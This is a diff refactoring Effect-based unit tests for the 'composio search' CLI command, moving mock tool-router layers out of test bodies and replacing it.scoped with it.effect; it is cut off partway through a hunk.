115 - it.scoped('returns JSON payload by default', () =>
115 + it.effect('returns JSON payload by default', () =>
116 Effect.gen(function* () {
117 yield* cli(['search', 'send']);
118 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -136,149 +136,143 @@ describe('CLI: composio search', () => {
136 );
137 });
138
139 - layer(TestLive(testLiveOptions))(
140 - '[Given] a remote custom tool schema [Then] search uses the Tool Router schema',
141 - it => {
142 - it.scoped('does not refetch custom tool schemas through the legacy tools endpoint', () =>
143 - Effect.gen(function* () {
144 - const customSlug = 'CUSTOM_DEEPWIKI_READ_WIKI_CONTENTS';
145 - const live = TestLive({
146 - ...testLiveOptions,
147 - toolRouter: {
148 - search: async (_sessionId, params) => ({
149 - success: true,
150 - error: null,
151 - results: [
152 - {
153 - index: 1,
154 - use_case: params.queries[0]?.use_case ?? '',
155 - primary_tool_slugs: [customSlug],
156 - related_tool_slugs: [],
157 - toolkits: ['CUSTOM_DEEPWIKI'],
158 - },
159 - ],
160 - tool_schemas: {
161 - [customSlug]: {
162 - tool_slug: customSlug,
163 - toolkit: 'CUSTOM_DEEPWIKI',
164 - description: 'Read wiki contents',
165 - hasFullSchema: true,
166 - input_schema: {
167 - type: 'object',
168 - properties: { repo: { type: 'string' } },
169 - required: ['repo'],
170 - },
171 - output_schema: { type: 'object', properties: {} },
172 - },
173 - },
174 - toolkit_connection_statuses: [],
175 - next_steps_guidance: [],
176 - session: {
177 - id: 'trs_test_session',
178 - generate_id: false,
179 - instructions: 'Reuse this session id for follow-up calls.',
180 - },
181 - time_info: {
182 - current_time_utc: '2026-01-01T00:00:00.000Z',
183 - current_time_utc_epoch_seconds: 1767225600,
184 - message: 'UTC time',
185 - },
186 - }),
139 + const customSlug = 'CUSTOM_DEEPWIKI_READ_WIKI_CONTENTS';
140 +
141 + layer(
142 + TestLive({
143 + ...testLiveOptions,
144 + toolRouter: {
145 + search: async (_sessionId, params) => ({
146 + success: true,
147 + error: null,
148 + results: [
149 + {
150 + index: 1,
151 + use_case: params.queries[0]?.use_case ?? '',
152 + primary_tool_slugs: [customSlug],
153 + related_tool_slugs: [],
154 + toolkits: ['CUSTOM_DEEPWIKI'],
155 + },
156 + ],
157 + tool_schemas: {
158 + [customSlug]: {
159 + tool_slug: customSlug,
160 + toolkit: 'CUSTOM_DEEPWIKI',
161 + description: 'Read wiki contents',
162 + hasFullSchema: true,
163 + input_schema: {
164 + type: 'object',
165 + properties: { repo: { type: 'string' } },
166 + required: ['repo'],
167 + },
168 + output_schema: { type: 'object', properties: {} },
169 },
188 - });
170 + },
171 + toolkit_connection_statuses: [],
172 + next_steps_guidance: [],
173 + session: {
174 + id: 'trs_test_session',
175 + generate_id: false,
176 + instructions: 'Reuse this session id for follow-up calls.',
177 + },
178 + time_info: {
179 + current_time_utc: '2026-01-01T00:00:00.000Z',
180 + current_time_utc_epoch_seconds: 1767225600,
181 + message: 'UTC time',
182 + },
183 + }),
184 + },
185 + })
186 + )('[Given] a remote custom tool schema [Then] search uses the Tool Router schema', it => {
187 + it.effect('does not refetch custom tool schemas through the legacy tools endpoint', () =>
188 + Effect.gen(function* () {
189 + yield* cli(['search', 'read wiki contents']);
190 + const output = (yield* MockConsole.getLines({ stripAnsi: true })).join('\n');
191
190 - yield* cli(['search', 'read wiki contents']).pipe(Effect.provide(live));
191 - const output = (yield* MockConsole.getLines({ stripAnsi: true })).join('\n');
192 + expect(output).toContain(customSlug);
193 + expect(output).toContain(`~/.composio/tool_definitions/${customSlug}.json`);
194 + })
195 + );
196 + });
197
193 - expect(output).toContain(customSlug);
194 - expect(output).toContain(
195 - `~/.composio/tool_definitions/${customSlug}.json`
196 - );
197 - })
198 - );
199 - }
200 - );
198 + let schemaRequestSlugs: unknown;
199
202 - layer(TestLive(testLiveOptions))(
203 - '[Given] a remote custom tool schema reference [Then] search resolves it with the Tool Router meta-tool',
204 - it => {
205 - it.scoped('does not use the legacy tools endpoint for schema references', () =>
206 - Effect.gen(function* () {
207 - const customSlug = 'CUSTOM_DEEPWIKI_READ_WIKI_CONTENTS';
208 - let schemaRequestSlugs: unknown;
209 - const live = TestLive({
210 - ...testLiveOptions,
211 - toolRouter: {
212 - search: async (_sessionId, params) => ({
213 - success: true,
214 - error: null,
215 - results: [
216 - {
217 - index: 1,
218 - use_case: params.queries[0]?.use_case ?? '',
219 - primary_tool_slugs: [customSlug],
220 - related_tool_slugs: [],
221 - toolkits: ['CUSTOM_DEEPWIKI'],
222 - },
223 - ],
224 - tool_schemas: {
225 - [customSlug]: {
226 - tool_slug: customSlug,
227 - toolkit: 'CUSTOM_DEEPWIKI',
228 - description: 'Read wiki contents',
229 - hasFullSchema: false,
230 - schemaRef: {
231 - tool: 'COMPOSIO_GET_TOOL_SCHEMAS',
232 - args: { tool_slugs: [customSlug] },
233 - },
200 + layer(
201 + TestLive({
202 + ...testLiveOptions,
203 + toolRouter: {
204 + search: async (_sessionId, params) => ({
205 + success: true,
206 + error: null,
207 + results: [
208 + {
209 + index: 1,
210 + use_case: params.queries[0]?.use_case ?? '',
211 + primary_tool_slugs: [customSlug],
212 + related_tool_slugs: [],
213 + toolkits: ['CUSTOM_DEEPWIKI'],
214 + },
215 + ],
216 + tool_schemas: {
217 + [customSlug]: {
218 + tool_slug: customSlug,
219 + toolkit: 'CUSTOM_DEEPWIKI',
220 + description: 'Read wiki contents',
221 + hasFullSchema: false,
222 + schemaRef: {
223 + tool: 'COMPOSIO_GET_TOOL_SCHEMAS',
224 + args: { tool_slugs: [customSlug] },
225 + },
226 + },
227 + },
228 + toolkit_connection_statuses: [],
229 + next_steps_guidance: [],
230 + session: {
231 + id: 'trs_test_session',
232 + generate_id: false,
233 + instructions: 'Reuse this session id for follow-up calls.',
234 + },
235 + time_info: {
236 + current_time_utc: '2026-01-01T00:00:00.000Z',
237 + current_time_utc_epoch_seconds: 1767225600,
238 + message: 'UTC time',
239 + },
240 + }),
241 + executeMeta: async (_sessionId, params) => {
242 + schemaRequestSlugs = params.arguments?.tool_slugs;
243 + return {
244 + data: {
245 + success: true,
246 + tool_schemas: {
247 + [customSlug]: {
248 + tool_slug: customSlug,
249 + toolkit: 'CUSTOM_DEEPWIKI',
250 + description: 'Read wiki contents',
251 + input_schema: {
252 + type: 'object',
253 + properties: { repo: { type: 'string' } },
254 + required: ['repo'],
255 },
256 },
236 - toolkit_connection_statuses: [],
237 - next_steps_guidance: [],
238 - session: {
239 - id: 'trs_test_session',
240 - generate_id: false,
241 - instructions: 'Reuse this session id for follow-up calls.',
242 - },
243 - time_info: {
244 - current_time_utc: '2026-01-01T00:00:00.000Z',
245 - current_time_utc_epoch_seconds: 1767225600,
246 - message: 'UTC time',
247 - },
248 - }),
249 - executeMeta: async (_sessionId, params) => {
250 - schemaRequestSlugs = params.arguments?.tool_slugs;
251 - return {
252 - data: {
253 - success: true,
254 - tool_schemas: {
255 - [customSlug]: {
256 - tool_slug: customSlug,
257 - toolkit: 'CUSTOM_DEEPWIKI',
258 - description: 'Read wiki contents',
259 - input_schema: {
260 - type: 'object',
261 - properties: { repo: { type: 'string' } },
262 - required: ['repo'],
263 - },
264 - },
265 - },
266 - },
267 - error: null,
268 - log_id: 'log_test',
269 - };
257 },
258 },
272 - });
273 -
274 - yield* cli(['search', 'read wiki contents']).pipe(Effect.provide(live));
259 + error: null,
260 + log_id: 'log_test',
261 + };
262 + },
263 + },
264 + })
265 + )(
266 + '[Given] a remote custom tool schema reference [Then] search resolves it with the Tool Router meta-tool',
267 + it => {
268 + it.effect('does not use the legacy tools endpoint for schema references', () =>
269 + Effect.gen(function* () {
270 + yield* cli(['search', 'read wiki contents']);
271 const output = (yield* MockConsole.getLines({ stripAnsi: true })).join('\n');
272
273 expect(output).toContain(customSlug);
274 expect(schemaRequestSlugs).toEqual([customSlug]);
279 - expect(output).toContain(
280 - `~/.composio/tool_definitions/${customSlug}.json`
281 - );
275 + expect(output).toContain(`~/.composio/tool_definitions/${customSlug}.json`);
276 })
277 );
278 }
@@ -287,7 +281,7 @@ describe('CLI: composio search', () => {
281 layer(TestLive(testLiveOptions))(
282 '[Given] multiple queries [Then] the CLI returns a batched JSON response',
283 it => {
290 - it.scoped('returns batched results in JSON', () =>
284 + it.effect('returns batched results in JSON', () =>
285 Effect.gen(function* () {
286 yield* cli(['search', 'send', 'create issue']);
287 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -306,7 +300,7 @@ describe('CLI: composio search', () => {
300 layer(TestLive(testLiveOptions))(
301 '[Given] query with no results [Then] shows not found message',
302 it => {
309 - it.scoped('shows empty json output', () =>
303 + it.effect('shows empty json output', () =>
304 Effect.gen(function* () {
305 yield* cli(['search', 'nonexistent_query']);
306 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -321,7 +315,7 @@ describe('CLI: composio search', () => {
315 layer(TestLive(testLiveOptions))(
316 '[Given] query "send" --toolkits "gmail" --human [Then] scopes to toolkit',
317 it => {
324 - it.scoped('scopes search to toolkit', () =>
318 + it.effect('scopes search to toolkit', () =>
319 Effect.gen(function* () {
320 yield* cli(['search', 'send', '--toolkits', 'gmail', '--human']);
321 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -339,7 +333,7 @@ describe('CLI: composio search', () => {
333 layer(TestLive(testLiveOptions))(
334 '[Given] search --human [Then] it stays human-readable and omits raw JSON',
335 it => {
342 - it.scoped('does not print raw JSON in human mode', () =>
336 + it.effect('does not print raw JSON in human mode', () =>
337 Effect.gen(function* () {
338 yield* cli(['search', 'send', '--human']);
339 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -358,7 +352,7 @@ describe('CLI: composio search', () => {
352 layer(TestLive(testLiveOptions))(
353 '[Given] search --json [Then] JSON output includes full tool-router payload and next steps',
354 it => {
361 - it.scoped('prints full search response with next steps for jq', () =>
355 + it.effect('prints full search response with next steps for jq', () =>
356 Effect.gen(function* () {
357 yield* cli(['search', 'send', '--json']);
358 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -384,61 +378,61 @@ describe('CLI: composio search', () => {
378 }
379 );
380
387 - layer(TestLive(testLiveOptions))(
381 + layer(
382 + TestLive({
383 + ...testLiveOptions,
384 + toolRouter: {
385 + search: async (_sessionId, params) => ({
386 + success: true,
387 + error: null,
388 + results: [
389 + {
390 + index: 1,
391 + use_case: params.queries[0]?.use_case ?? '',
392 + primary_tool_slugs: ['GMAIL_SEND_EMAIL'],
393 + related_tool_slugs: [],
394 + toolkits: ['gmail'],
395 + reference_workbench_snippets: [{ description: 'snippet', code: 'print("hi")' }],
396 + },
397 + ],
398 + tool_schemas: {
399 + GMAIL_SEND_EMAIL: {
400 + tool_slug: 'GMAIL_SEND_EMAIL',
401 + toolkit: 'gmail',
402 + description: 'Sends an email',
403 + hasFullSchema: true,
404 + input_schema: { type: 'object', properties: {} },
405 + output_schema: { type: 'object', properties: {} },
406 + },
407 + },
408 + toolkit_connection_statuses: [
409 + {
410 + toolkit: 'gmail',
411 + description: 'gmail toolkit',
412 + has_active_connection: false,
413 + status_message: 'No active connection',
414 + },
415 + ],
416 + next_steps_guidance: [],
417 + session: {
418 + id: 'trs_test_session',
419 + generate_id: false,
420 + instructions: 'Reuse this session id for follow-up calls.',
421 + },
422 + time_info: {
423 + current_time_utc: '2026-01-01T00:00:00.000Z',
424 + current_time_utc_epoch_seconds: 1767225600,
425 + message: 'UTC time',
426 + },
427 + }),
428 + },
429 + })
430 + )(
431 '[Given] search results with workbench snippets [Then] snippets are removed from JSON output',
432 it => {
390 - it.scoped('omits workbench snippets and emits schema/cache references', () =>
433 + it.effect('omits workbench snippets and emits schema/cache references', () =>
434 Effect.gen(function* () {
392 - const live = TestLive({
393 - ...testLiveOptions,
394 - toolRouter: {
395 - search: async (_sessionId, params) => ({
396 - success: true,
397 - error: null,
398 - results: [
399 - {
400 - index: 1,
401 - use_case: params.queries[0]?.use_case ?? '',
402 - primary_tool_slugs: ['GMAIL_SEND_EMAIL'],
403 - related_tool_slugs: [],
404 - toolkits: ['gmail'],
405 - reference_workbench_snippets: [{ description: 'snippet', code: 'print("hi")' }],
406 - },
407 - ],
408 - tool_schemas: {
409 - GMAIL_SEND_EMAIL: {
410 - tool_slug: 'GMAIL_SEND_EMAIL',
411 - toolkit: 'gmail',
412 - description: 'Sends an email',
413 - hasFullSchema: true,
414 - input_schema: { type: 'object', properties: {} },
415 - output_schema: { type: 'object', properties: {} },
416 - },
417 - },
418 - toolkit_connection_statuses: [
419 - {
420 - toolkit: 'gmail',
421 - description: 'gmail toolkit',
422 - has_active_connection: false,
423 - status_message: 'No active connection',
424 - },
425 - ],
426 - next_steps_guidance: [],
427 - session: {
428 - id: 'trs_test_session',
429 - generate_id: false,
430 - instructions: 'Reuse this session id for follow-up calls.',
431 - },
432 - time_info: {
433 - current_time_utc: '2026-01-01T00:00:00.000Z',
434 - current_time_utc_epoch_seconds: 1767225600,
435 - message: 'UTC time',
436 - },
437 - }),
438 - },
439 - });
440 -
441 - yield* cli(['search', 'send']).pipe(Effect.provide(live));
435 + yield* cli(['search', 'send']);
436 const lines = yield* MockConsole.getLines({ stripAnsi: true });
437 const output = lines.join('\n');
438
@@ -450,38 +444,38 @@ describe('CLI: composio search', () => {
444 }
445 );
446
453 - layer(TestLive({ baseConfigProvider: testConfigProvider, fixture: 'global-test-user-id' }))(
447 + layer(
448 + TestLive({
449 + baseConfigProvider: testConfigProvider,
450 + fixture: 'global-test-user-id',
451 + toolkitsData: {
452 + tools: [
453 + {
454 + name: 'Send Email',
455 + slug: 'GMAIL_SEND_EMAIL',
456 + description: 'Sends an email',
457 + tags: [],
458 + available_versions: [],
459 + input_parameters: {
460 + type: 'object',
461 + properties: {
462 + to: { type: 'string' },
463 + subject: { type: 'string' },
464 + body: { type: 'string' },
465 + },
466 + required: ['to'],
467 + },
468 + output_parameters: { type: 'object', properties: {} },
469 + },
470 + ],
471 + },
472 + })
473 + )(
474 '[Given] search with schema properties [Then] next steps have valid payload and lowercase link',
475 it => {
456 - it.scoped('next steps use valid payload from input_schema and lowercase toolkit', () =>
476 + it.effect('next steps use valid payload from input_schema and lowercase toolkit', () =>
477 Effect.gen(function* () {
458 - const live = TestLive({
459 - baseConfigProvider: testConfigProvider,
460 - fixture: 'global-test-user-id',
461 - toolkitsData: {
462 - tools: [
463 - {
464 - name: 'Send Email',
465 - slug: 'GMAIL_SEND_EMAIL',
466 - description: 'Sends an email',
467 - tags: [],
468 - available_versions: [],
469 - input_parameters: {
470 - type: 'object',
471 - properties: {
472 - to: { type: 'string' },
473 - subject: { type: 'string' },
474 - body: { type: 'string' },
475 - },
476 - required: ['to'],
477 - },
478 - output_parameters: { type: 'object', properties: {} },
479 - },
480 - ],
481 - },
482 - });
483 -
484 - yield* cli(['search', 'send']).pipe(Effect.provide(live));
478 + yield* cli(['search', 'send']);
479 const lines = yield* MockConsole.getLines({ stripAnsi: true });
480 const output = lines.join('\n');
481 const parsed = extractFirstJsonObject(output);
@@ -509,7 +503,7 @@ describe('CLI: composio search', () => {
503 layer(TestLive(testLiveOptions))(
504 '[Given] search with empty schema [Then] next steps execute uses -d "{}"',
505 it => {
512 - it.scoped('next steps use -d "{}" when no schema properties', () =>
506 + it.effect('next steps use -d "{}" when no schema properties', () =>
507 Effect.gen(function* () {
508 yield* cli(['search', 'send']);
509 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -529,368 +523,364 @@ describe('CLI: composio search', () => {
523 }
524 );
525
532 - layer(TestLive(testLiveOptions))(
533 - '[Given] --toolkits filter [Then] it is passed to session create as enabled toolkits',
534 - it => {
535 - it.scoped('passes toolkit filter into tool router session', () =>
536 - Effect.gen(function* () {
537 - let createParams: SessionCreateParams | undefined;
538 - let searchParams: SessionSearchParams | undefined;
539 -
540 - const live = TestLive({
541 - baseConfigProvider: testConfigProvider,
542 - toolkitsData,
543 - fixture: 'global-test-user-id',
544 - toolRouter: {
545 - create: async params => {
546 - createParams = params;
547 - return {
548 - session_id: 'trs_test_session',
549 - config: {
550 - user_id: params.user_id,
551 - execute: {},
552 - search: {},
553 - preload: { tools: [] },
554 - },
555 - config_version: 1,
556 - mcp: { type: 'http', url: 'https://mcp.test.composio.dev' },
557 - tool_router_tools: ['COMPOSIO_SEARCH_TOOLS'],
558 - };
526 + {
527 + let createParams: SessionCreateParams | undefined;
528 + let searchParams: SessionSearchParams | undefined;
529 +
530 + layer(
531 + TestLive({
532 + baseConfigProvider: testConfigProvider,
533 + toolkitsData,
534 + fixture: 'global-test-user-id',
535 + toolRouter: {
536 + create: async params => {
537 + createParams = params;
538 + return {
539 + session_id: 'trs_test_session',
540 + config: {
541 + user_id: params.user_id,
542 + execute: {},
543 + search: {},
544 + preload: { tools: [] },
545 },
560 - search: async (_sessionId, params) => {
561 - searchParams = params;
562 - return {
563 - success: true,
564 - error: null,
565 - results: [
566 - {
567 - index: 1,
568 - use_case: params.queries[0]?.use_case ?? '',
569 - primary_tool_slugs: ['GMAIL_SEND_EMAIL'],
570 - related_tool_slugs: [],
571 - toolkits: ['gmail'],
572 - },
573 - ],
574 - tool_schemas: {
575 - GMAIL_SEND_EMAIL: {
576 - tool_slug: 'GMAIL_SEND_EMAIL',
577 - toolkit: 'gmail',
578 - description: 'Sends an email',
579 - hasFullSchema: true,
580 - input_schema: { type: 'object', properties: {} },
581 - output_schema: { type: 'object', properties: {} },
582 - },
583 - },
584 - toolkit_connection_statuses: [
585 - {
586 - toolkit: 'gmail',
587 - description: 'gmail toolkit',
588 - has_active_connection: false,
589 - status_message: 'No active connection',
590 - },
591 - ],
592 - next_steps_guidance: [],
593 - session: {
594 - id: 'trs_test_session',
595 - generate_id: false,
596 - instructions: 'Reuse this session id for follow-up calls.',
597 - },
598 - time_info: {
599 - current_time_utc: '2026-01-01T00:00:00.000Z',
600 - current_time_utc_epoch_seconds: 1767225600,
601 - message: 'UTC time',
602 - },
603 - };
546 + config_version: 1,
547 + mcp: { type: 'http', url: 'https://mcp.test.composio.dev' },
548 + tool_router_tools: ['COMPOSIO_SEARCH_TOOLS'],
549 + };
550 + },
551 + search: async (_sessionId, params) => {
552 + searchParams = params;
553 + return {
554 + success: true,
555 + error: null,
556 + results: [
557 + {
558 + index: 1,
559 + use_case: params.queries[0]?.use_case ?? '',
560 + primary_tool_slugs: ['GMAIL_SEND_EMAIL'],
561 + related_tool_slugs: [],
562 + toolkits: ['gmail'],
563 + },
564 + ],
565 + tool_schemas: {
566 + GMAIL_SEND_EMAIL: {
567 + tool_slug: 'GMAIL_SEND_EMAIL',
568 + toolkit: 'gmail',
569 + description: 'Sends an email',
570 + hasFullSchema: true,
571 + input_schema: { type: 'object', properties: {} },
572 + output_schema: { type: 'object', properties: {} },
573 + },
574 },
605 - },
606 - });
607 -
608 - yield* cli(['search', 'send', '--toolkits', 'gmail,outlook']).pipe(Effect.provide(live));
575 + toolkit_connection_statuses: [
576 + {
577 + toolkit: 'gmail',
578 + description: 'gmail toolkit',
579 + has_active_connection: false,
580 + status_message: 'No active connection',
581 + },
582 + ],
583 + next_steps_guidance: [],
584 + session: {
585 + id: 'trs_test_session',
586 + generate_id: false,
587 + instructions: 'Reuse this session id for follow-up calls.',
588 + },
589 + time_info: {
590 + current_time_utc: '2026-01-01T00:00:00.000Z',
591 + current_time_utc_epoch_seconds: 1767225600,
592 + message: 'UTC time',
593 + },
594 + };
595 + },
596 + },
597 + })
598 + )('[Given] --toolkits filter [Then] it is passed to session create as enabled toolkits', it => {
599 + it.effect('passes toolkit filter into tool router session', () =>
600 + Effect.gen(function* () {
601 + yield* cli(['search', 'send', '--toolkits', 'gmail,outlook']);
602
603 expect(createParams?.toolkits).toEqual({ enable: ['gmail', 'outlook'] });
604 expect(createParams?.experimental).toBeUndefined();
605 expect(searchParams?.queries[0]?.use_case).toBe('send');
606 })
607 );
615 - }
616 - );
617 -
618 - layer(TestLive(testLiveOptions))(
619 - '[Given] local toolkit filter [Then] it is sent as a custom toolkit',
620 - it => {
621 - it.scoped('injects and forwards local custom toolkit payloads', () =>
622 - Effect.gen(function* () {
623 - let createParams: SessionCreateParams | undefined;
624 - let searchParams:
625 - | (SessionSearchParams & { experimental?: SessionCreateParams['experimental'] })
626 - | undefined;
608 + });
609 + }
610
628 - const live = TestLive({
629 - baseConfigProvider: testConfigProvider,
630 - toolkitsData,
631 - fixture: 'global-test-user-id',
632 - toolRouter: {
633 - create: async params => {
634 - createParams = params;
635 - return {
636 - session_id: 'trs_test_session',
637 - config: {
638 - user_id: params.user_id,
639 - execute: {},
640 - search: {},
641 - preload: { tools: [] },
642 - },
643 - config_version: 1,
644 - mcp: { type: 'http', url: 'https://mcp.test.composio.dev' },
645 - tool_router_tools: ['COMPOSIO_SEARCH_TOOLS'],
646 - };
611 + {
612 + let createParams: SessionCreateParams | undefined;
613 + let searchParams:
614 + (SessionSearchParams & { experimental?: SessionCreateParams['experimental'] }) | undefined;
615 +
616 + layer(
617 + TestLive({
618 + baseConfigProvider: testConfigProvider,
619 + toolkitsData,
620 + fixture: 'global-test-user-id',
621 + toolRouter: {
622 + create: async params => {
623 + createParams = params;
624 + return {
625 + session_id: 'trs_test_session',
626 + config: {
627 + user_id: params.user_id,
628 + execute: {},
629 + search: {},
630 + preload: { tools: [] },
631 },
648 - search: async (_sessionId, params) => {
649 - searchParams = params;
650 - return {
651 - success: true,
652 - error: null,
653 - results: [
654 - {
655 - index: 1,
656 - use_case: params.queries[0]?.use_case ?? '',
657 - primary_tool_slugs: ['LOCAL_CHROME_DEVTOOLS_LIST_PAGES'],
658 - related_tool_slugs: [],
659 - toolkits: ['CHROME_DEVTOOLS'],
660 - },
661 - ],
662 - tool_schemas: {
663 - LOCAL_CHROME_DEVTOOLS_LIST_PAGES: {
664 - tool_slug: 'LOCAL_CHROME_DEVTOOLS_LIST_PAGES',
665 - toolkit: 'CHROME_DEVTOOLS',
666 - description: 'List local Chrome pages',
667 - hasFullSchema: true,
668 - input_schema: { type: 'object', properties: {} },
669 - output_schema: { type: 'object', properties: {} },
670 - },
671 - },
672 - toolkit_connection_statuses: [
673 - {
674 - toolkit: 'CHROME_DEVTOOLS',
675 - description: 'Chrome DevTools local toolkit',
676 - has_active_connection: true,
677 - status_message: 'Local toolkit available',
678 - },
679 - ],
680 - next_steps_guidance: [],
681 - session: {
682 - id: 'trs_test_session',
683 - generate_id: false,
684 - instructions: 'Reuse this session id for follow-up calls.',
685 - },
686 - time_info: {
687 - current_time_utc: '2026-01-01T00:00:00.000Z',
688 - current_time_utc_epoch_seconds: 1767225600,
689 - message: 'UTC time',
690 - },
691 - };
632 + config_version: 1,
633 + mcp: { type: 'http', url: 'https://mcp.test.composio.dev' },
634 + tool_router_tools: ['COMPOSIO_SEARCH_TOOLS'],
635 + };
636 + },
637 + search: async (_sessionId, params) => {
638 + searchParams = params;
639 + return {
640 + success: true,
641 + error: null,
642 + results: [
643 + {
644 + index: 1,
645 + use_case: params.queries[0]?.use_case ?? '',
646 + primary_tool_slugs: ['LOCAL_CHROME_DEVTOOLS_LIST_PAGES'],
647 + related_tool_slugs: [],
648 + toolkits: ['CHROME_DEVTOOLS'],
649 + },
650 + ],
651 + tool_schemas: {
652 + LOCAL_CHROME_DEVTOOLS_LIST_PAGES: {
653 + tool_slug: 'LOCAL_CHROME_DEVTOOLS_LIST_PAGES',
654 + toolkit: 'CHROME_DEVTOOLS',
655 + description: 'List local Chrome pages',
656 + hasFullSchema: true,
657 + input_schema: { type: 'object', properties: {} },
658 + output_schema: { type: 'object', properties: {} },
659 + },
660 },
693 - },
694 - });
695 -
696 - yield* cli(['search', 'browser page', '--toolkits', 'chrome_devtools']).pipe(
697 - Effect.provide(live)
698 - );
661 + toolkit_connection_statuses: [
662 + {
663 + toolkit: 'CHROME_DEVTOOLS',
664 + description: 'Chrome DevTools local toolkit',
665 + has_active_connection: true,
666 + status_message: 'Local toolkit available',
667 + },
668 + ],
669 + next_steps_guidance: [],
670 + session: {
671 + id: 'trs_test_session',
672 + generate_id: false,
673 + instructions: 'Reuse this session id for follow-up calls.',
674 + },
675 + time_info: {
676 + current_time_utc: '2026-01-01T00:00:00.000Z',
677 + current_time_utc_epoch_seconds: 1767225600,
678 + message: 'UTC time',
679 + },
680 + };
681 + },
682 + },
683 + })
684 + )('[Given] local toolkit filter [Then] it is sent as a custom toolkit', it => {
685 + it.effect('injects and forwards local custom toolkit payloads', () =>
686 + Effect.gen(function* () {
687 + yield* cli(['search', 'browser page', '--toolkits', 'chrome_devtools']);
688
689 expect(createParams?.toolkits).toBeUndefined();
690 expect(createParams?.experimental?.custom_toolkits?.[0]?.slug).toBe('CHROME_DEVTOOLS');
691 expect(searchParams?.experimental?.custom_toolkits?.[0]?.slug).toBe('CHROME_DEVTOOLS');
692 })
693 );
705 - }
706 - );
707 -
708 - layer(TestLive(testLiveOptions))(
709 - '[Given] unknown local-style toolkit filter [Then] it is still sent as a remote toolkit',
710 - it => {
711 - it.scoped('does not inject experimental custom toolkits for unknown local-style names', () =>
712 - Effect.gen(function* () {
713 - let createParams: SessionCreateParams | undefined;
714 -
715 - const live = TestLive({
716 - baseConfigProvider: testConfigProvider,
717 - toolkitsData,
718 - fixture: 'global-test-user-id',
719 - toolRouter: {
720 - create: async params => {
721 - createParams = params;
722 - return {
723 - session_id: 'trs_test_session',
724 - config: {
725 - user_id: params.user_id,
726 - execute: {},
727 - search: {},
728 - preload: { tools: [] },
729 - },
730 - config_version: 1,
731 - mcp: { type: 'http', url: 'https://mcp.test.composio.dev' },
732 - tool_router_tools: ['COMPOSIO_SEARCH_TOOLS'],
733 - };
734 - },
735 - },
736 - });
737 -
738 - yield* cli(['search', 'inspect local app', '--toolkits', 'local_app']).pipe(
739 - Effect.provide(live)
740 - );
741 -
742 - expect(createParams?.toolkits).toEqual({ enable: ['local_app'] });
743 - expect(createParams?.experimental).toBeUndefined();
744 - })
745 - );
746 - }
747 - );
694 + });
695 + }
696
749 - layer(TestLive(testLiveOptions))(
750 - '[Given] multiple queries [Then] search passes all queries to the tool-router session',
751 - it => {
752 - it.scoped('passes batched queries without a parallel flag', () =>
753 - Effect.gen(function* () {
754 - let searchParams: SessionSearchParams | undefined;
755 -
756 - const live = TestLive({
757 - baseConfigProvider: testConfigProvider,
758 - toolkitsData,
759 - fixture: 'global-test-user-id',
760 - toolRouter: {
761 - search: async (_sessionId, params) => {
762 - searchParams = params;
763 - return {
764 - success: true,
765 - error: null,
766 - results: params.queries.map((query, index) => ({
767 - index: index + 1,
768 - use_case: query.use_case ?? '',
769 - primary_tool_slugs:
770 - query.use_case === 'create issue'
771 - ? ['GITHUB_CREATE_ISSUE']
772 - : ['GMAIL_SEND_EMAIL'],
773 - related_tool_slugs: [],
774 - toolkits: query.use_case === 'create issue' ? ['github'] : ['gmail'],
775 - })),
776 - tool_schemas: {
777 - GMAIL_SEND_EMAIL: {
778 - tool_slug: 'GMAIL_SEND_EMAIL',
779 - toolkit: 'gmail',
780 - description: 'Sends an email',
781 - hasFullSchema: true,
782 - input_schema: { type: 'object', properties: {} },
783 - output_schema: { type: 'object', properties: {} },
784 - },
785 - GITHUB_CREATE_ISSUE: {
786 - tool_slug: 'GITHUB_CREATE_ISSUE',
787 - toolkit: 'github',
788 - description: 'Creates a GitHub issue',
789 - hasFullSchema: true,
790 - input_schema: { type: 'object', properties: {} },
791 - output_schema: { type: 'object', properties: {} },
792 - },
793 - },
794 - toolkit_connection_statuses: [],
795 - next_steps_guidance: [],
796 - session: {
797 - id: 'trs_test_session',
798 - generate_id: false,
799 - instructions: 'Reuse this session id for follow-up calls.',
800 - },
801 - time_info: {
802 - current_time_utc: '2026-01-01T00:00:00.000Z',
803 - current_time_utc_epoch_seconds: 1767225600,
804 - message: 'UTC time',
805 - },
806 - };
697 + {
698 + let createParams: SessionCreateParams | undefined;
699 +
700 + layer(
701 + TestLive({
702 + baseConfigProvider: testConfigProvider,
703 + toolkitsData,
704 + fixture: 'global-test-user-id',
705 + toolRouter: {
706 + create: async params => {
707 + createParams = params;
708 + return {
709 + session_id: 'trs_test_session',
710 + config: {
711 + user_id: params.user_id,
712 + execute: {},
713 + search: {},
714 + preload: { tools: [] },
715 },
808 - },
809 - });
810 -
811 - yield* cli(['search', 'send', 'create issue']).pipe(Effect.provide(live));
812 -
813 - expect(searchParams?.queries.map(query => query.use_case)).toEqual([
814 - 'send',
815 - 'create issue',
816 - ]);
817 - })
818 - );
819 - }
820 - );
716 + config_version: 1,
717 + mcp: { type: 'http', url: 'https://mcp.test.composio.dev' },
718 + tool_router_tools: ['COMPOSIO_SEARCH_TOOLS'],
719 + };
720 + },
721 + },
722 + })
723 + )(
724 + '[Given] unknown local-style toolkit filter [Then] it is still sent as a remote toolkit',
725 + it => {
726 + it.effect(
727 + 'does not inject experimental custom toolkits for unknown local-style names',
728 + () =>
729 + Effect.gen(function* () {
730 + yield* cli(['search', 'inspect local app', '--toolkits', 'local_app']);
731 +
732 + expect(createParams?.toolkits).toEqual({ enable: ['local_app'] });
733 + expect(createParams?.experimental).toBeUndefined();
734 + })
735 + );
736 + }
737 + );
738 + }
739
822 - layer(TestLive(testLiveOptions))(
823 - '[Given] search response with recommended plan [Then] it prints plan and execute hint',
824 - it => {
825 - it.scoped('prints plan and command hints', () =>
826 - Effect.gen(function* () {
827 - const live = TestLive({
828 - baseConfigProvider: testConfigProvider,
829 - toolkitsData,
830 - fixture: 'global-test-user-id',
831 - toolRouter: {
832 - search: async (_sessionId, params) => ({
833 - success: true,
834 - error: null,
835 - results: [
836 - {
837 - index: 1,
838 - use_case: params.queries[0]?.use_case ?? '',
839 - primary_tool_slugs: ['GMAIL_SEND_EMAIL'],
840 - related_tool_slugs: [],
841 - toolkits: ['gmail'],
